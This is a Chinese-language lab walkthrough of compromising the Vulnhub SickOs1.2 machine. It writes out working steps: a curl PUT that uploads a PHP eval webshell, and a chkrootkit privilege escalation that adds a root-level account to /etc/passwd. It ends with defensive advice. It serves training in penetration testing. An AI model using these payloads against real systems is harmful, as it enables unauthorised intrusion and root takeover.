SickOs1.2靶机渗透
字数 1814 2025-08-12 12:08:15

SickOs1.2靶机渗透教学文档

1. 靶机概述

靶机名称: SickOs1.2
下载地址: Vulnhub SickOs1.2
渗透目标: 获取root权限并读取/root/7d03aaa2bf93d80040f3f22ec6ad9d5a.txt文件
难度级别: 中级
渗透测试类型: 独立靶机

2. 环境准备

  • 靶机IP: 10.8.0.106 (根据实际网络环境可能不同)
  • 攻击机: Kali Linux或其他渗透测试系统
  • 工具准备:
    • nmap
    • dirb/gobuster/dirsearch (目录扫描工具)
    • curl
    • Burp Suite
    • Godzilla/中国菜刀 (Webshell管理工具)
    • Metasploit (可选)

3. 信息收集阶段

3.1 端口扫描

使用nmap进行端口扫描:

nmap -sV -p- 10.8.0.106

扫描结果:

  • 22/tcp open ssh
  • 80/tcp open http

3.2 Web服务枚举

访问http://10.8.0.106,仅显示一张图片,无其他明显信息。

3.3 目录扫描

使用dirb或其他目录扫描工具:

dirb http://10.8.0.106

发现可疑目录:

  • /test
  • /%7Echeckout%7E (URL编码,实际为/~checkout~)

测试结果:

  • /test: 访问后重定向回主页
  • /~checkout~: 403 Forbidden,查看源码发现encoding="iso-8859-1"

4. 漏洞利用

4.1 测试HTTP方法

使用curl测试/test目录支持的HTTP方法:

curl -v -X OPTIONS http://10.8.0.106/test/

返回结果:
支持PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK方法

4.2 利用PUT方法上传文件

使用Burp Suite拦截请求或直接使用curl上传PHP文件:

  1. 上传phpinfo测试文件:
curl -X PUT -d '<?php phpinfo(); ?>' http://10.8.0.106/test/phpinfo.php
  1. 验证上传:
    访问http://10.8.0.106/test/phpinfo.php确认上传成功

  2. 上传Webshell:

curl -X PUT -d '<?php @eval($_POST["cmd"]); ?>' http://10.8.0.106/test/shell.php

4.3 获取Webshell访问权限

使用Godzilla或其他Webshell管理工具连接:

  • URL: http://10.8.0.106/test/shell.php
  • 密码: cmd
  • 连接方式: PHP_EVAL_XOR_BASE64

成功获取www-data权限的shell。

5. 权限提升

5.1 检查定时任务

在Webshell中执行:

cat /etc/crontab

发现可疑任务:
系统定期执行chkrootkit工具检查rootkit。

5.2 研究chkrootkit漏洞

查找发现chkrootkit存在本地提权漏洞(CVE-2014-0476):

  • chkrootkit会以root权限执行/tmp/update文件(如果存在)
  • 漏洞利用代码参考: 38775.rb (可在ExploitDB找到)

5.3 创建恶意update文件

  1. 生成加密密码:
perl -le 'print crypt("toor","toor")'

输出: to5bce5sr7eK6

  1. 创建update文件内容:
#!/bin/sh
echo "toor:to5bce5sr7eK6:0:0:root:/root:/bin/bash" >> /etc/passwd
  1. 上传到靶机/tmp目录并设置权限:
chmod 777 /tmp/update

5.4 等待定时任务执行

等待系统执行chkrootkit(通常每5-10分钟执行一次),或者手动触发(如果知道触发方式)。

5.5 切换root用户

使用创建的用户登录:

su toor
密码: toor

成功获取root权限。

6. 获取flag

cat /root/7d03aaa2bf93d80040f3f22ec6ad9d5a.txt

7. 其他可能的渗透路径

  1. Metasploit利用:

    • 使用exploit/unix/misc/chkrootkit模块
    • 设置payload和参数后执行
  2. SSH弱密码爆破:

    • 如果22端口开放,可尝试常见用户名密码组合
  3. Web应用其他漏洞:

    • 深入分析Web应用可能存在的其他漏洞
    • 检查是否有SQL注入、文件包含等漏洞

8. 总结与防御建议

渗透总结:

  1. 通过HTTP PUT方法上传Webshell获取初步权限
  2. 利用chkrootkit的定时任务漏洞实现权限提升

防御建议:

  1. 禁用不必要的HTTP方法(如PUT、DELETE等)
  2. 及时更新系统组件(chkrootkit等工具)
  3. 限制/tmp目录的可执行权限
  4. 监控/etc/passwd文件的异常修改
  5. 实施最小权限原则,避免不必要的root权限执行

学习要点:

  1. HTTP方法枚举的重要性
  2. 定时任务检查在权限提升中的关键作用
  3. 已知漏洞利用的快速识别能力
  4. 多种渗透路径的思考方式
SickOs1.2靶机渗透教学文档 1. 靶机概述 靶机名称 : SickOs1.2 下载地址 : Vulnhub SickOs1.2 渗透目标 : 获取root权限并读取 /root/7d03aaa2bf93d80040f3f22ec6ad9d5a.txt 文件 难度级别 : 中级 渗透测试类型 : 独立靶机 2. 环境准备 靶机IP: 10.8.0.106 (根据实际网络环境可能不同) 攻击机: Kali Linux或其他渗透测试系统 工具准备: nmap dirb/gobuster/dirsearch (目录扫描工具) curl Burp Suite Godzilla/中国菜刀 (Webshell管理工具) Metasploit (可选) 3. 信息收集阶段 3.1 端口扫描 使用nmap进行端口扫描: 扫描结果 : 22/tcp open ssh 80/tcp open http 3.2 Web服务枚举 访问http://10.8.0.106,仅显示一张图片,无其他明显信息。 3.3 目录扫描 使用dirb或其他目录扫描工具: 发现可疑目录 : /test /%7Echeckout%7E (URL编码,实际为/~checkout~) 测试结果 : /test: 访问后重定向回主页 /~checkout~: 403 Forbidden,查看源码发现 encoding="iso-8859-1" 4. 漏洞利用 4.1 测试HTTP方法 使用curl测试/test目录支持的HTTP方法: 返回结果 : 支持PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK方法 4.2 利用PUT方法上传文件 使用Burp Suite拦截请求或直接使用curl上传PHP文件: 上传phpinfo测试文件: 验证上传: 访问http://10.8.0.106/test/phpinfo.php确认上传成功 上传Webshell: 4.3 获取Webshell访问权限 使用Godzilla或其他Webshell管理工具连接: URL: http://10.8.0.106/test/shell.php 密码: cmd 连接方式: PHP_ EVAL_ XOR_ BASE64 成功获取www-data权限的shell。 5. 权限提升 5.1 检查定时任务 在Webshell中执行: 发现可疑任务 : 系统定期执行 chkrootkit 工具检查rootkit。 5.2 研究chkrootkit漏洞 查找发现chkrootkit存在本地提权漏洞(CVE-2014-0476): chkrootkit会以root权限执行 /tmp/update 文件(如果存在) 漏洞利用代码参考: 38775.rb (可在ExploitDB找到) 5.3 创建恶意update文件 生成加密密码: 输出: to5bce5sr7eK6 创建update文件内容: 上传到靶机/tmp目录并设置权限: 5.4 等待定时任务执行 等待系统执行chkrootkit(通常每5-10分钟执行一次),或者手动触发(如果知道触发方式)。 5.5 切换root用户 使用创建的用户登录: 成功获取root权限。 6. 获取flag 7. 其他可能的渗透路径 Metasploit利用 : 使用exploit/unix/misc/chkrootkit模块 设置payload和参数后执行 SSH弱密码爆破 : 如果22端口开放,可尝试常见用户名密码组合 Web应用其他漏洞 : 深入分析Web应用可能存在的其他漏洞 检查是否有SQL注入、文件包含等漏洞 8. 总结与防御建议 渗透总结 : 通过HTTP PUT方法上传Webshell获取初步权限 利用chkrootkit的定时任务漏洞实现权限提升 防御建议 : 禁用不必要的HTTP方法(如PUT、DELETE等) 及时更新系统组件(chkrootkit等工具) 限制/tmp目录的可执行权限 监控/etc/passwd文件的异常修改 实施最小权限原则,避免不必要的root权限执行 学习要点 : HTTP方法枚举的重要性 定时任务检查在权限提升中的关键作用 已知漏洞利用的快速识别能力 多种渗透路径的思考方式